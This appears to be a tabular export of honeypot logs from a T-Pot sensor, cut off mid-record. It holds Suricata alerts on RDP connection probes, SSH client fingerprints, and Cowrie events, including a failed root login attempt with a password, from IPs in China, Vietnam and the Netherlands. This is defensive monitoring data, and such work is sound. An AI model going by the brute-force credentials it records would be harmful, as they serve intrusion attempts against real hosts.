23898	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:08:03.672085+03	2021-09-20 14:15:08.0975+03	{"_id": "DwbkAnwBvYTbRNuEOhBt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:03.326466+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1948619877120834, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60745, "dest_port": 3389, "timestamp": "2021-09-20T11:08:03.672085Z", "@timestamp": "2021-09-20T11:08:03.672Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
23899	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:08:04.079676+03	2021-09-20 14:15:08.0985+03	{"_id": "EwbkAnwBvYTbRNuEPhBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:03.326466+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1948619877120834, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60745, "dest_port": 3389, "timestamp": "2021-09-20T11:08:04.079676Z", "@timestamp": "2021-09-20T11:08:04.079Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
23911	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:07.197918+03	2021-09-20 14:15:08.114472+03	{"_id": "GgbkAnwBvYTbRNuERxB3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 83 seconds", "session": "fe60ecd931c5", "@version": "1", "duration": 83.4308660030365, "timestamp": "2021-09-20T11:08:07.197918Z", "@timestamp": "2021-09-20T11:08:07.197Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23900	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:08:07.937504+03	2021-09-20 14:15:08.099472+03	{"_id": "GwbkAnwBvYTbRNuEShAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 1883334226987126, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53549, "dest_port": 22, "timestamp": "2021-09-20T11:08:07.937504Z", "@timestamp": "2021-09-20T11:08:07.937Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23901	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:08:07.937585+03	2021-09-20 14:15:08.1005+03	{"_id": "IAbkAnwBvYTbRNuEShD0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53549, "dest_port": 22, "timestamp": "2021-09-20T11:08:07.937585", "@timestamp": "2021-09-20T11:08:07.937Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23902	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:08:07.889976+03	2021-09-20 14:15:08.102471+03	{"_id": "IwbkAnwBvYTbRNuESxCS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b403f8aa5781", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:08:07.889976Z", "@timestamp": "2021-09-20T11:08:07.889Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23903	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:08:03.741317+03	2021-09-20 14:15:08.10347+03	{"_id": "EAbkAnwBvYTbRNuEOhBt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:03.326466+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1948619877120834, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 60745, "timestamp": "2021-09-20T11:08:03.741317Z", "@timestamp": "2021-09-20T11:08:03.741Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
23904	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:08:03.672085+03	2021-09-20 14:15:08.10547+03	{"_id": "DgbkAnwBvYTbRNuEOhBt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:03.326466+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1948619877120834, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60745, "dest_port": 3389, "timestamp": "2021-09-20T11:08:03.672085Z", "@timestamp": "2021-09-20T11:08:03.672Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
23906	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:08:04.079676+03	2021-09-20 14:15:08.10747+03	{"_id": "FAbkAnwBvYTbRNuEPhBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:03.326466+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1948619877120834, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60745, "dest_port": 3389, "timestamp": "2021-09-20T11:08:04.079676Z", "@timestamp": "2021-09-20T11:08:04.079Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
23907	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:04.976519+03	2021-09-20 14:15:08.10947+03	{"_id": "FgbkAnwBvYTbRNuEPxCl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/sarah] failed", "session": "3da3fe3d376f", "@version": "1", "password": "sarah", "username": "root", "timestamp": "2021-09-20T11:08:04.976519Z", "@timestamp": "2021-09-20T11:08:04.976Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23908	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:06.254536+03	2021-09-20 14:15:08.110471+03	{"_id": "FwbkAnwBvYTbRNuEQxCO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 44 seconds", "session": "3da3fe3d376f", "@version": "1", "duration": 44.24158549308777, "timestamp": "2021-09-20T11:08:06.254536Z", "@timestamp": "2021-09-20T11:08:06.254Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23909	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:07.191718+03	2021-09-20 14:15:08.11147+03	{"_id": "GAbkAnwBvYTbRNuERxB3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fe60ecd931c5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:07.191718Z", "@timestamp": "2021-09-20T11:08:07.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23910	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:07.194256+03	2021-09-20 14:15:08.112471+03	{"_id": "GQbkAnwBvYTbRNuERxB3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fe60ecd931c5", "@version": "1", "timestamp": "2021-09-20T11:08:07.194256Z", "@timestamp": "2021-09-20T11:08:07.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23912	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:08:07.19144+03	2021-09-20 14:15:08.115471+03	{"_id": "HAbkAnwBvYTbRNuEShAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1649378762903012, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36860, "dest_port": 22, "timestamp": "2021-09-20T11:08:07.191440Z", "@timestamp": "2021-09-20T11:08:07.191Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23913	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:58.972263+03	2021-09-20 14:15:08.116471+03	{"_id": "BgbkAnwBvYTbRNuEKxCw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 